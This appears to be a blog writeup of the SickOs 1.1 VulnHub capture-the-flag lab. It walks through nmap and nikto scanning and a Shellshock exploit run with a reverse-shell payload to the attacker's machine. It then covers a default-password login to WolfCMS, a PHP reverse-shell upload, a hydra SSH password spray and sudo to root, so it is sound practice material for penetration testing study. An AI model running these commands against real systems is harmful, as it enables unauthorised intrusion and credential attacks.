SickOs: 1.1 – VulnHub Writeup

Source: https://www.vulnhub.com/entry/sickos-11,132/

Some initial notes:  The SickOs series has been recommended by a lot of people to be fairly similar to OSCP labs so I figure it should be some good enriching practice.  I think I’m going to try to make it a point with each new writeup to either try out some new tools, or at least use past tools in new or more focused ways for better efficiency.

Though this VM is built for VMWare, I’ve always been more of a VirtualBox guy so we’ll start off by importing the machine into VBox.

To do so create a brand new VM in Virtualbox with the following settings:

Name: SickOs 1.1
Type: Linux
Version: Ubuntu or Debian (64-bit)
Memory: At least 512MB
Hard Disk: Do not add a virtual disk

Extract the *.7z to its own folder.

For the new VM right-click into Settings, then go to the Storage tab.

Under either the SATA or IDE controller, click Add New Storage Attachment, and select the SickOs *.vmdk file that was extracted earlier.   From here you should be able to start up the VM as usual and be all set.  Settings should look similar to below:

Now we can start the actual writeup!

Instead of my usual netdiscover I’ll utilize the SANS NMAP Cheat Sheet and use nmap to do just an initial host discovery scan of my subnet.

nmap 192.168.111.0/24 -sP

101 is the Kali box, so we’ll be targeting 192.168.111.100.  Let’s now do a service discovery and try to detect the OS:

nmap 192.168.111.100 -O -sV   // -O for OS detection and -sV for service enumeration

We might be able to brute-force SSH, but let’s come back to that later when we have more intel.  We have an open web-proxy so let’s try configuring Firefox to use it and see what happens.

After doing so and then hitting 192.168.111.100 itself (localhost) we get this site to come up:

Nothing interesting in the page source here.  Let’s piggyback off the proxy to do a nikto scan of the webserver.

nikto -h 192.168.111.100 -useproxy http://192.168.111.100:3128/

 
The shellshock vulnerability could be fun.  I double check the http://192.168.111.100/cgi-bin/status/ page is returning information then query the CVEs on exploit database to find this:

https://www.exploit-db.com/exploits/34900/

After downloading and looking over the exploit code it doesn’t look like we need to modify the exploit at all beforehand, but just to pass the required parameters along when we run it.
./shellshock.py payload=reverse rhost=192.168.111.100 lhost=192.168.111.101 lport=555 proxy=192.168.111.100:3128
 
 

At this point the exploit seemed to hang, so I think we’ll need to pass the specific vulnerable page as a parameter instead:

Success!  Remembering back to all the news around Shellshock it’s a little frightening now to see how easy this vulnerability was to detect and exploit.

So we’re a system user.

We get a good list of possible IDs to hijack here.  At this point I poked around the filestystem for quite a while and then ended up in /var/www (what better way to enumerate what’s available on the webserver?)

Some terminal weirdness aside it looks like the server also runs WolfCMS.  Let’s check it out in our browser.

Looking around the site and the wolf/admin directory at the shell I don’t see any static pages for admin so I have to do some searching on google to find out how to access it.  The first forum thread I find has the answer: just type in a ‘?’ before admin in the URL.

http://192.168.111.100/wolfcms/?admin/

Now we have the admin login screen.  Let’s probe some more in the WOLFCMS directory to see if it lists users anywhere or where to find them.  Looking through the config.php it doesn’t appear we will be able to brute-force the password without changing the config first.

At this point I started googling to see if there was maybe a default admin account and password I could try.  I also looked at the “Forgot Password” option, but it requires an email address so even that probably won’t help me enumerate possible login IDs.  My only clue so far is that there is a definitely an Administrator account that posted 2 test articles using the CMS.

Just testing out some stupid user/pw combos, though I ended up getting lucky!
administrator/administrator – no
administrator/password – no
admin/admin – YES

And there’s of course an upload directory.  Let’s see if it will allow us to create straight PHP files.

I sure can, and it even lets you set permissions right there.  From here I will just need to edit the PHP page to create a reverse shell back to my Kali machine and we should be in with a new (hopefully more privileged?) ID.

With a netcat session open and listening on port 666 (555 we are still running with previous shell, should we still need it at some point), I’ll hit the page and see if it opens a shell.

There it is, but wait….we’re on the same user and privileges that we got previously.  Oh well, at least this new shell seems a lot more stable and usable compared to the other one.

There must be something I’m missing here…so I start probing directories again and go back through all the of /var/www/ again.  It’s now I realize I missed something incredibly obvious right under my nose in the config.php:

Dumping the /etc/passwd again to get a list of users:

Let’s try SSH’ing in using the password of “john@123” with all interactive logons above to see if any of them match.

For some extra hydra practice let’s just have it iterate through each login ID for us.

hydra -L sshlogins.txt -p ‘john@123’ 192.168.111.100 ssh

We found the one – sickos.   Let’s go ahead and log in.

Now a quick sudo -s to elevate to root.

With access to /root/ now let’s check out if there anything interesting inside.

And there’s our flag!  Hopefully on to SickOs 1.2 soon.  🙂